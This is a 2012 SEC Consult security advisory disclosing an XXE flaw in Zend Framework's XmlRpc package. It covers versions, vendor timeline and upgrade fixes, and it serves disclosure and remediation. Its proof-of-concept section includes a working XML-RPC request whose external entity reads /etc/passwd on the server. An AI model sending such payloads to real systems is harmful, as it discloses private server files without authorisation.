Zend Framework XXE Injection

`SEC Consult Vulnerability Lab Security Advisory < 20120626-0 >  
=======================================================================  
title: Local file disclosure via XXE injection  
product: Zend Framework  
vulnerable version: 1.11.11  
1.12.0 RC1  
2.0.0 beta4  
and earlier versions / branches  
fixed version: 1.11.12  
1.12.0 RC2  
2.0.0 beta5 / trunk  
impact: Critical  
homepage: http://framework.zend.com/  
found: 2012-06-18  
by: K. Gudinavicius   
SEC Consult Vulnerability Lab   
https://www.sec-consult.com  
=======================================================================  
  
Vendor description:  
-------------------  
"Extending the art & spirit of PHP, Zend Framework is based on simplicity,  
object-oriented best practices, corporate friendly licensing, and a rigorously  
tested agile codebase. Zend Framework is focused on building more secure,  
reliable, and modern Web 2.0 applications & web services, and consuming widely  
available APIs from leading vendors like Google, Amazon, Yahoo!, Flickr, as  
well as API providers and cataloguers like StrikeIron and ProgrammableWeb."  
  
Source: http://framework.zend.com/about/overview  
  
  
  
Vulnerability overview/description:  
-----------------------------------  
The XmlRpc package of Zend Framework is vulnerable to XML eXternal Entity  
Injection attacks (both server and client). The SimpleXMLElement class  
(SimpleXML PHP extension) is used in an insecure way to parse XML data.  
External entities can be specified by adding a specific DOCTYPE element to  
XML-RPC requests. By exploiting this vulnerability an application may be  
coerced to open arbitrary files and/or TCP connections.  
  
  
Other software that uses the XmlRpc package of Zend Framework is then also  
vulnerable to XML eXternal Entity Injection attacks!  
  
  
Proof of concept:  
-----------------  
For example, the loadXml function (Zend\XmlRpc\Request.php and Response.php)  
fails to disable external entities when parsing XML data. There is no call to  
the libxml_disable_entity_loader function before initializing the  
SimpleXMLElement class. Related code excerpt:  
  
public function loadXml($request)  
{  
if (!is_string($request)) {  
$this->_fault = new Zend_XmlRpc_Fault(635);  
$this->_fault->setEncoding($this->getEncoding());  
return false;  
}  
  
try {  
$xml = new SimpleXMLElement($request);  
} catch (Exception $e) {  
// Not valid XML  
$this->_fault = new Zend_XmlRpc_Fault(631);  
$this->_fault->setEncoding($this->getEncoding());  
return false;  
}  
  
[...]  
  
}  
  
If a web application uses the Zend_XmlRpc_Server() class  
(Zend\XmlRpc\Server.php) to handle XML-RPC requests, it is possible to  
disclose arbitrary local files from the remote system. The following HTTP POST  
request to the vulnerable XmlRpc server application illustrates the  
exploitation of this vulnerability.  
  
POST /xmlrpc_server.php HTTP/1.1  
Host: $host  
  
<?xml version="1.0"?>  
<!DOCTYPE foo [   
<!ELEMENT methodName ANY >  
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>  
<methodCall>  
<methodName>&xxe;</methodName>  
</methodCall>  
  
  
  
Vulnerable / tested versions:  
-----------------------------  
The vulnerability has been verified to exist in versions 1.11.11 and   
2.0.0beta4 of Zend Framework, which were the most recent versions at   
the time of discovery.  
  
Furthermore, previous versions and 1.12.0 RC1 are also affected.  
  
Older branches are also affected but won't be fixed by Zend as they are not  
maintained anymore. Their policy is to fix the current minor release  
and the immediate previous minor release.  
  
  
Vendor contact timeline:  
------------------------  
2012-06-18: Contacting vendor through [email protected]  
2012-06-18: Vendor: Very fast reply, fixes issue already after 3 hours!  
2012-06-18: Confirming server-side fix, adding recommendation for XmlRpc  
client code  
2012-06-19: Vendor: XmlRpc client code also fixed  
Confirming fix  
2012-06-20: Contacting local CERT  
2012-06-20: Vendor: starts packaging, expected release of 1.11.12 and  
1.12.0RC2 by end of week, ZF2 trunk already fixed, next beta  
2.0.0beta5 will be released late next week  
2012-06-22: Vendor: Packages are created and staged, packages and security  
announcement will be released on Monday  
2012-06-25: New packages and Zend security advisory released by vendor  
2012-06-26: SEC Consult releases security advisory  
  
  
  
Solution:  
---------  
Upgrade to the latest version available, e.g.  
* v1.11.12  
* v1.12.0 RC2  
* update ZF2 master trunk  
  
If you are using an older branch you are urged to upgrade!  
  
Zend framework security advisory:  
http://framework.zend.com/security/advisory/ZF2012-01  
  
Download link for new releases:  
http://framework.zend.com/download/latest  
  
  
Commits:  
--------  
http://framework.zend.com/code/log.php?repname=Zend+Framework&path=%2F  
  
* Zend Framework 1.X  
Trunk:  
http://framework.zend.com/code/revision.php?repname=Zend+Framework&path=%2Ftrunk&rev=24970&peg=24970  
http://framework.zend.com/code/revision.php?repname=Zend+Framework&path=%2F&rev=24975  
  
* 1.11.X:  
http://framework.zend.com/code/revision.php?repname=Zend+Framework&path=%2Fbranches%2F&rev=24971&peg=24971  
http://framework.zend.com/code/revision.php?repname=Zend+Framework&path=%2Fbranches%2F&rev=24972&peg=24972  
http://framework.zend.com/code/revision.php?repname=Zend+Framework&path=%2F&rev=24976  
  
* 1.12.0:   
http://framework.zend.com/code/revision.php?repname=Zend+Framework&path=%2Fbranches%2F&rev=24973&peg=24973  
http://framework.zend.com/code/revision.php?repname=Zend+Framework&path=%2F&rev=24977  
  
* Zend Framework 2.0  
https://github.com/zendframework/zf2/pull/1523  
  
  
Workaround:  
-----------  
None  
  
  
Advisory URL:  
-------------  
https://www.sec-consult.com/en/advisories.html  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
SEC Consult Unternehmensberatung GmbH  
  
Office Vienna  
Mooslackengasse 17  
A-1190 Vienna  
Austria  
  
Tel.: +43 / 1 / 890 30 43 - 0  
Fax.: +43 / 1 / 890 30 43 - 25  
Mail: research at sec-consult dot com  
https://www.sec-consult.com  
  
EOF K. Gudinavicius, J. Greil / @2012  
`